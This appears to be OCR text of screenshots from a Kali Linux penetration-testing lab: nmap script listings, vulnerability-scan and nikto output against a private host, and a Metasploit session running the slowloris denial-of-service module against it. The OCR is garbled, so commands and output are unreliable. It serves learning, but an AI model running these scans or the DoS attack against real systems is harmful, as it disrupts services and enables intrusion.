mysql-audit.nse
mysql-brute.nse
mysql-databases.nse
mysql-dump-hashes .nse
mysql-empty-password.nse
mysql-enun. nse
mysql-info.nse
mysql-query.nse

rsync-brute.nse
rsync-list-modules.nse
rtsp-methods.nse
rtsp-url-brute.nse
rusers.nse

s7-info.nse
samba-vuln-cve-2012-1182.nse
script.db

servicetags.nse
shodan-api.nse
sip-brute.nse
sip-call-spoof.nse
sip-enum-users.nse
sip-methods.nse
skypev2-version.nse
smb2-capabilities.nse
smb2-security-mode.nse
smb2-time.nse
smb2-vuln-uptine.nse
smb-brute.nse
smb-double-pulsar-backdoor.nse
smb-enun-domains.nse
smb-enum-groups.nse
smb-enum-processes.nse
smb-enum-services.nse
smb-enum-sessions.nse
smb-enum-shares.nse
smb-enum-users .nse
smb-flood.nse

smb-1s.nse

smb-mbenun. nse
smb-os-discovery.nse
smb-print-text.nse
smb-protocols.nse
smb-psexec.nse
smb-security-mode.nse
smb-server-stats.nse
smb-systen-info.nse
smb-vuln-conficker.nse
smb-vuln-cve2009-3103.nse
smb-vuln-cve-2017-7494.nse
smb-vuln-ms06-025.nse
smb-vuln-ms07-029.nse
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse
smb-vuln-regsvc-dos.nse
smb-vuln-webexec.nse
smb-webexec-exploit.nse
smtp-brute.nse
smtp-commands.nse
smtp-enum-users.nse
smtp-ntlm-info.nse
smtp-open-relay.nse
smtp-strangeport.nse
smtp-vuln-cve2010-4344.nse
smtp-vuln-cve2011-1720.nse
smtp-vuln-cve2011-1764.nse
sniffer-detect.nse
snmp-brute.nse
snmp-hh3c-Logins.nse
snmp-info.nse
snmp-interfaces.nse
snmp-ios-config.nse
snmp-netstat.nse
snmp-processes.nse
snmp-sysdescr.nse
snmp-win32-services.nse
snmp-win32-shares.nse
snmp-win32-software.nse
snmp-win32-users.nse
socks-auth-info.nse
socks-brute.nse

L O o A 70| a e

(<]





image28.png
lali@kali: fusr/share/nmaplscripts (]
File Actions Edit View Help

[ (kali® kali)-[/use/share/nmap/scripts]
$ cat script.db

Entry { filename - "acarsd-info.nse”, categories = { "discovery”, "safe”, }
Entry { filename - "address-info.nse”, categories = { "default”, "safe, }
Entry { filename - "afp-brute.nse”, categories = { "brute’, "intrusive’,
Entry { filename - "afp-ls.nse”, categories - { "discovery”, "safe”, }

Entry { filename - "afp-path-vuln.nse, categories = { "exploit”, "intrusive’, "vuln", }
Entry { filename = "afp-serverinfo.nse”, categories = { "default”, "discovery”, "safe”, }
Entry { filename = "afp-showmount.nse”, categories = { "discovery”, "safe’, }

Entry { filename = "ajp-auth.nse”, categories = { "auth”, "default”, "safe”, }

Entry { filename = "ajp-brute.nse”, categories = { "brute’, "intrusive, }

Entry { filename = "ajp-headers.nse”, categories = { "discovery”, "safe”, }

Entry { filename = "ajp-methods.nse”, categories = { "default”, "safe”,

Entry { filename = "ajp-request.nse”, categories = { "discovery”, "safe”, }

Entry { filename - "allseeingeye-info.nse”, categories = { "discovery”, "safe”, "version”, }
Entry { filename = "amgp-info.nse”, categories = { "default”, "discovery”, "safe’, "version”, }
Entry { filename = "asn-query.nse”, categories = { "discovery”, "external”, "safe”, }

Entry { filename = "citrix-enum-servers-xml.nse®, categories - { "discovery”, "safe, }
Entry { filename = "citrix-enum-servers.nse”, categories = { "discovery”, "safe”, }
Entry { filename = "clamav-exec.nse”, categories = { "exploit”, "vuln”, }

Entry { filename = "clock-skew.nse”, categories = { "default", "safe”, }

Entry { filename = "coap-resources.nse”, categories = { "discovery”, "safe”, }

filename
filename

Entry
Entry

*couchdb-databases.nse”, categories = { "discovery’, "safe”, } }
"couchdb-stats.nse", categories

{
{
T
{
{
{
{
{
{
{
{
{
{
I
{
Entry { filename = "auth-owners.nse”, categories = { "default”, "safe”, }
Entry { filename = "auth-spoof.nse”, categories = { "malware, "safe”, }
Entry { filename - "backorifice-brute.nse®, categories = { "brute”, "intrusive”, }
Entry { filename = "backorifice-info.nse”, categories = { "default”, "discovery”, "safe”, }
Entry { filename = "bacnet-info.nse”, categories = { "discovery”, "version”, }
Entry { filename = "banner.nse”, categories = { "discovery”, "safe”, }
Entry { filename = "bitcoin-getaddr.nse”, categories = { "discovery”, "safe”, }
Entry { filename = "bitcoin-info.nse”, categories = { "discovery”, "safe”, }
Entry { filename = "bitcoinrpc-info.nse”, categories = { "default”, "discovery”, “safe, }
Entry { filename - "bittorrent-discovery.nse”, categories - { "discovery”, "safe’, }
Entry { filename = "bjnp-discover.nse”, categories = { "discovery”, "safe’, }
Entry { filename - "broadcast-atace-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-avahi-dos.nse”, categories = { "broadcast”, "dos”, "intrusive”, "vuln, }
Entry { filename - "broadcast-bjnp-discover.nse”, categories = { "broadcast”, "safe, }
Entry { filename = "broadcast-db2-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename = "broadcast-dhcp-discover.nse”, categories = { "broadcast”, "safe’, }
Entry { filename - "broadcast-dhcpe-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename = "broadcast-dns-service-discovery.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-dropbox-listener.nse”, categories = { "broadcast”, "safe, }
Entry { filename - "broadcast-eigrp-discovery.nse”, categories = { "broadcast”, "discovery”, "safe”, }
Entry { filename = "broadcast-hid-discoveryd.nse”, categories = { "broadcast”, "discovery”, "safe”, }
Entry { filename - "broadcast-igmp-discovery.nse”, categories = { "broadcast’, "discovery”, "safe”, }
Entry { filename - "broadcast-jenkins-discover.nse”, categories = { "broadcast”, "discovery”, "safe’, }
Entry { filename - "broadcast-listener.nse”, categories = { "broadcast”, "safe”
Entry { filename - "broadcast-ms-sql-discover.nse”, categories = { "broadcast’, W
Entry { filename - "broadcast-netbios-master-browser.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-networker-discover.nse”, categories - { "broadcast”, "safe”, }
Entry { filename - "broadcast-novell-locate.nse”, categories = { "broadcast”, "safe, }
Entry { filename - "broadcast-ospf2-discover.nse”, categories = { "broadcast”, "discovery”, "safe”, }
Entry { filename - "broadcast-pc-anywhere.nse”, categories = { "broadcast’, "safe”, }
Entry { filename = "broadcast-pc-duo.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-pim-discovery.nse®, categories = { "broadcast”, "discovery”, "safe’, }
Entry { filename - "broadcast-ping.nse”, categories = { "broadcast”, "discovery”, "safe”, }
Entry { filename - "broadcast-pppoe-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-rip-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-ripng-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-sonicwall-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename = "broadcast-sybase-asa-discover.nse”, categories = { "broadcast”, "safe, }
Entry { filename - "broadcast-tellstick-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename = "broadcast-upnp-info.nse”, categories = { "broadcast”, "safe”, }
Entry { filename = "broadcast-versant-locate.nse”, categories = { "broadcast”, "safe”, }
Entry { filename = "broadcast-wake-on-lan.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "broadcast-wpad-discover.nse”, categories = { "broadcast”, "safe, }
Entry { filename - "broadcast-wsdd-discover.nse”, categories = { "broadcast”, "safe, }
Entry { filename = "broadcast-xdmcp-discover.nse”, categories = { "broadcast”, "safe”, }
Entry { filename - "cassandra-brute.nse”, categories = { "brute”, "intrusive”, }
Entry { filename - "cassandra-info.nse”, categories = { "default”, "discovery”, "safe”, }
Entry { filename = "cccam-version.nse”, categories = { "version”, }
Entry { filename = "cics-enum.nse”, categories = { "brute’, "intrusive, }
Entry { filename = "cics-info.nse”, categories = { "discovery”, "safe”, }
Entry { filename = "cics-user-brute.nse”, categories = { "brute”, "intrusive”, }
Entry { filename = "cics-user-enum.nse”, categories = { "brute”, "intrusive”, }
Entry { filename = "citrix-brute-xml.nse”, categories = { "brute’, "intrusive, }
Entry { filename = "citrix-enum-apps-xml.nse", categories = { "discovery”, "safe’, }
Entry { filename - "citrix-enum-apps.nse”, categories = { "discovery”, "safe”, }
{
{
{
{
{
{
{

{ "discovery”, "safe", } }
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[ (kali® kali)-[ /usx/shaxe/nmap/scripts]
$ nmap --script vuln 10.0.2.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-07 06:35 EST

Pre-scan script results:

| broadcast-avahi-dos:

| Discovered hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS (CVE-2011-1002)

I_ Hosts are all up (not vulnerable)

Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 84.25% done; ETC: 06:36 (0:00:03 remaining)

Nmap scan report for 10.0.2.15

Host is up (0.0025s latency)

Not shown: 983 closed tcp ports (conn-refused)

PORT  STATE SERVICE

21/tcp  open ftp

22/tcp  open ssh

25/tcp  open smtp

I ssL-poodle:

| VULNERABLE:

| SSL POODLE information leak

| state: VULNERABLE

| IDs: CVE:CVE-2014-3566 BID:70574

I The SSU protocol 3.0, as used in OpensSL through 1.0.1i and other
I products, uses nondeterministic CBC padding, which makes it easier
I For man-in-the-niddle attackers to obtain cleartext data via a
I padding-oracle attack, aka the "POODLE" issue

| Disclosure date: 2014-10-14

| check results:

I TUS_RSA_WITH_AES_128_CBC_SHA

| References:

I https: //wm . inperialviolet.org/2014/10/14/poodle. html

I https: //wm .openssl.org/~bodo/ss1-poodle. pdf

I https: //cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-2014-3566

I

I

I

I

I

I

I

I

I

I

I

I

I

I

- https://wm .securityfocus.con/bid/70574
sslva-drown: ERROR: Script execution failed (use -d to debug)
ssl-dh-paran
VULNERABLE:
Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
State: VULNERABLE
Transport Layer Security (TLS) services that use anonymous
Diffie-Hellman key exchange only provide protection against passive
eavesdropping, and are vulnerable to active man-in-the-middle attacks
which could completely compromise the confidentiality and integrity
of any data exchanged over the resulting session.
Check results:
ANONYMOUS DH GROUP 1
Cipher Suite: TLS_DH_anon WITH_3DES_EDE_CBC_SHA
Modulus Type: Safe prime
| Modulus Source: postfix builtin
| Modulus Length: 1024
Generator Length: 8
Public Key Length: 1024
References:
https://wm.ietf.org/rfc/rfc2246. txt

Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
State: VULNERABLE
I IDs: CVE:CVE-2015-4000 BID:74733
The Transport Layer Security (TLS) protocol contains a flaw that is
triggered when handling Diffie-Hellman key exchanges defined with
| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
to downgrade the security of a TLS session to 512-bit export-grade
cryptography, which is significantly weaker, allowing the attacker
to more easily break the encryption and monitor or tamper with
the encrypted stream.
Disclosure date: 2015-5-19
Check results:
EXPORT-GRADE DH GROUP 1
Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
Modulus Type: Safe prime
Modulus Source: Unknown/Custon-generated
Modulus Length: 512
Generator Length: 8
Public Key Length: 512
References:
https://cve.mitre.org/cgi-bin/cvenane. cgi?name=CVE-2015-4000
https: //weakdh.org
https://wm.securityfocus.con/bid/74733
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g’kﬂi@ kali)-[~]

/bin/systemctl start nessusd.service

» Details.

lali@kali: ~

Authenticte ()

Authentication is required to start 'nessusd.service'.

Anapplication s attempting to perform an action that requires privileges. Authenticationis
required to perform this action.

Password:

@ Cancel Authenticate
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(kali® kali)
$ nikto -h 10.0.2.15 ~Tuning x
- Nikto v2.5.0

+ Target IP: 10.0.2.15
+ Target Hostname:  10.0.2.15

+ Target Port: 80

+ start Time: 2024-01-07 07:48:26 (GHT-5)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ss1/2.2.8 OpenSSL/0.9.8g
+ /: server may leak inodes via ETags, header found with file /, inode: 838422, size: 588, mtime: Sun Nov 2 13:20:24 2014. See: http://cve.mitre.org/cgi-b
n/cvenane. cgi?name-CVE-2003-1418

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
See: https://wm.netsparker.con/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

No CGI Directories found (use '-C all' to force check all possible dirs)

/crossdomain.xml contains a full wildcard entry. See: http://jeremiahgrossman.blogspot.con/2008/05/crossdomainxml-invites-cross-site.htm
PHP/5.2.4-2ubuntus appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch

OpenssL/0.9.8g appears to be outdated (current is at least 3.0.7). OpensSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023
Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch

mod_ss1/2.2.8 appears to be outdated (current is at least 2.9.6) (may depend on server version)

/index: Uncommon header 'tcn' found, with contents: list

/index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index
were found: index.bak, index.html. See: http://wms.wisec.it/sectou.php?id=4698ebdc59d15,https: //exchange.xforce. ibmcloud. con/vulnerabilities/8275
mod_ss1/2.2.8 OpensSL/0.9.8¢ - mod_ss1 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell

PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support

OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/wmi-community/attacks/Cross_Site_Tracing

623 requests: 0 error(s) and 14 item(s) reported on remote host

End Time: 2024-01-07 07:48:28 (GMT-5) (2 seconds)

1 host(s) tested

(kali® kali)
Csn
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n/cvename.cgi?name=CVE-2003-1418

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-0
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashio
See: https://wwi.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ No CGI Directories found (use '-C all' to force check all possible dirs

+ /crossdomain.xml contains a full wildcard entry. See: http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.htm
+ PHP/5.2.4-2ubuntu5 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch

+ OpenSSL/0.9.8g appears to be outdated (current is at least 3.0.7). OpensSSL 1.1.1s is current for the 1.x branch and will be supported un
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

+ mod_ss1/2.2.8 appears to be outdated (current is at least 2.9.6) (may depend on server version).

+ /index: Uncommon header 'tcn' found, with contents: list

+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following altern

were found: index.bak, index.html. See: http://wmi.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilit
mod_ss1/2.2.8 OpenSSL/0.9.8g - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.
PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support.

OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/wmi-community/attacks/Cross_Site_Tra
623 requests: 0 error(s) and 14 item(s) reported on remote host

End Time: 2024-01-07 07:48:28 (GMT-5) (2 seconds)

+ + T

-

1 host(s) tested

,j(ka'li@ kali)-[~]
$ nikto -h 10.0.2.15 -Cgidirs all
- Nikto v2.5.0

+ Target IP: 10.0.2.15
+ Target Hostname:  10.0.2.15

+ Target Port: 80

+ Start Time: 2024-01-07 07:50:47 (GMT-5)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntus with Suhosin-Patch mod_ssl/2.2.8 OpenssL/0.9.8g
+ /: Server may leak inodes via ETags, header found with file /, inode: 838422, size: 588, mtime: Sun Nov 2 13:20:24 2014. See: http://cv
n/cvename. cgizname=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-Us/docs/Web/HTTP/Headers/X-Frame-0
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashio
See: https://wwi.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

/crossdomain.xml contains a full wildcard entry. See: http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.htm
mod_ss1/2.2.8 appears to be outdated (current is at least 2.9.6) (may depend on server version).

OpenssL/0.9.8g appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported un
PHP/5.2.4-2ubuntus appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch

Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

/index: Uncommon header 'tcn' found, with contents: list

/index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following altern
were found: index.bak, index.html. See: http://wms.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilit
+ mod_ss1/2.2.8 OpensSSL/0.9.8g - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.
+ PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/wm-community/attacks/Cross_Site_Tra

TE 00060

+ /server-status: This reveals Apache information. Comment out appropriate line in the Apache conf file or restrict access to allowed sour
1

+ /phpmyadmin/changelog.php: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.

+ /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts

+ /icons/: Directory indexing found.

+ /README: README file found.

+ /INSTALL.txt: Default file found.

+ /icons/README: Apache default file found. See: https://wmw.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

+ /phpmyadmin/: phpMyAdmin directory found.

+ /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials

+ 26639 requests: 0 error(s) and 24 item(s) reported on remote host

+ End Time: 2024-01-07 07:52:20 (GMT-5) (93 seconds)

-

1 host(s) tested

(kali® kali)-[~]
[
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[*] starting server ...

[*] Attacking 10.0.2.15 with 150 sockets

[*] Creating sockets ...

[*] Sending keep-alive headers ... Socket count: 150
[*] Sending keep-alive headers ... Socket count: 150
[*] sending keep-alive headers... Socket count: 150

“C[-1 Stopping running against current target .
[*] Control-C again to force quit all targets
[+] Auxiliary module execution completed
nsf6 auxiliary(dos/http/slowloris) > exit

[ (ali® kali)-[ /use/share/nmap/scripts]
$ msfconsole
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Koli@kol:fusr/share/nmaplscripts

[ metasploit v6.3.27-dev ]
+ - —=[ 2335 exploits - 1220 auxiliary - 413 post i
& [ 1385 payloads - 46 encoders - 11 nops
+ [ 9 evasion 1
Metasploit tip: Open an interactive Ruby terminal with
irb
Metasploit Documentation: https://docs.metasploit.con/
msf6 > search CVE:CVE-2007-6750
Matching Modules
# Name Disclosure Date Rank  Check Description
0 auxiliary/dos/http/slowloris 2009-06-17 normal No

Interact with a module by name or index. For example info 0,

S

> use auxiliary/dos/http/slowloris

msf6 auxiliary(dos/http/slowloris) > set RHOST 10.0.2.15
0ST = 10.0.2.15

msf6 auxiliary(dos/http/slowloris) > set RPORT 443
PORT = 443

msf6 auxiliary(dos/http/slowloris) > run

[*] Starting server ..

[*] Attacking 10.0.2.15 with 150 sockets

[#] Creating sockets ...

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count: 150

Slowloris Denial of Service Attack

use 0 or use auxiliary/dos/http/slowloris
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